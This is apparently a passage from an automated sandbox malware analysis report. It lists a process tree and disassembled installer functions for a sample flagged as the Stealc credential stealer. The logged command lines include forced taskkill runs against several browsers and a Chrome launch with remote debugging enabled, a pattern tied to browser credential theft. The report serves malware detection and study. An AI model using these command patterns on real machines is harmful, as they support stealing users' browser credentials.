Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:24:57
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:25:03
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe"
Imagebase:	0x760000
File size:	1'790'976 bytes
MD5 hash:	6AE8D6DBE0F7340866C08C3F7B65978A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000027.00000003.3061120785.0000000004C00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:25:07
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008744001\3907f97605.exe"
Imagebase:	0x80000
File size:	1'867'776 bytes
MD5 hash:	C7FFD9F68AF166BC332AD19BE70C3B5C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3414474083.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3413732620.0000000000E07000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3414123368.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3360917053.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3354868759.0000000000E07000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3417667895.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000028.00000003.3421730928.0000000000E19000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:25:10
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2224,i,1451387400477687369,13867640751301481737,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:25:11
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe"
Imagebase:	0x2f0000
File size:	923'136 bytes
MD5 hash:	9F60BC3CE0041CA8D6665C3D7BE1C33F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 29%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:25:16
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:25:16
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:25:17
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008745001\3ee5495637.exe"
Imagebase:	0x760000
File size:	1'790'976 bytes
MD5 hash:	6AE8D6DBE0F7340866C08C3F7B65978A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000002E.00000003.3202171699.0000000005120000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:25:23
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008747001\c7f41aa061.exe"
Imagebase:	0x860000
File size:	2'781'696 bytes
MD5 hash:	C5C5DFB5A92EE653B1A4C8B1590F62B3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:25:26
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	06:25:26
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	06:25:31
Start date:	24/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008746001\04dc07bf76.exe"
Imagebase:	0x2f0000
File size:	923'136 bytes
MD5 hash:	9F60BC3CE0041CA8D6665C3D7BE1C33F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	06:25:33
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	06:25:34
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	06:25:34
Start date:	24/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	06:25:36
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	06:25:36
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	06:25:39
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	06:25:39
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	06:25:40
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	06:25:40
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	06:25:42
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x150000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	06:25:42
Start date:	24/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x7ff71e800000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	06:25:42
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	06:25:42
Start date:	24/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 04A70B50 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719705795.0000000004A70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 59a528f3f239ef3105d32688e3f106178eebd9ba66182c59ba492e9bfea31339
Instruction ID: 1051b453c87f399b27ff9e60d779e5de563a3d2bc992e5a7c9abafc0c97b1c90
Opcode Fuzzy Hash: 59a528f3f239ef3105d32688e3f106178eebd9ba66182c59ba492e9bfea31339
Instruction Fuzzy Hash: C101A2FB24D1207DB05291923F18EFBA77ED0D2A31331C42BF803C0446A2981B9E6132

Function 04A70B55 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1719705795.0000000004A70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4a70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 769dba63cd0dd3cad1270775cae875ef74e7f6977751055acc14c736f33cdb4d
Instruction ID: 1f94c9d166748c70e266d77ed8d34082fc1c34db16343ffb87004d912ad1e5c1
Opcode Fuzzy Hash: 769dba63cd0dd3cad1270775cae875ef74e7f6977751055acc14c736f33cdb4d
Instruction Fuzzy Hash: 231149FB24D1247D752295926F14EFB6B7ED1E2734331C82BF842C1502F2996B4A6131

Analysis Process: fMb18eF.exePID: 8164, Parent PID: 7712COMMON

Execution Graph

Execution Coverage:	17.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	27

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00425D76,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

NCRC, xrefs: 004039A8
Error launching installer, xrefs: 00403AA9
~nsu.tmp, xrefs: 00403B23
SeShutdownPrivilege, xrefs: 00403C42
\Temp, xrefs: 00403A47
NSIS Error, xrefs: 0040390E
/D=, xrefs: 004039D2
_?=, xrefs: 00403A90

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000009.00000002.2607455945.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.2607415832.0000000000400000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607487354.0000000000409000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000040C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000420000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.0000000000434000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607537415.000000000046B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2607678578.0000000000500000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_fMb18eF.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

SetFileAttributes failed., xrefs: 004017A1
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename failed: %s, xrefs: 0040194B
Call: %d, xrefs: 0040165A
CreateDirectory: "%s" (%d), xrefs: 004017BF
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
detailprint: %s, xrefs: 00401679
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Jump: %d, xrefs: 00401602
BringToFront, xrefs: 004016BD
Sleep(%d), xrefs: 0040169D
Rename on reboot: %s, xrefs: 00401943
Rename: %s, xrefs: 004018F8
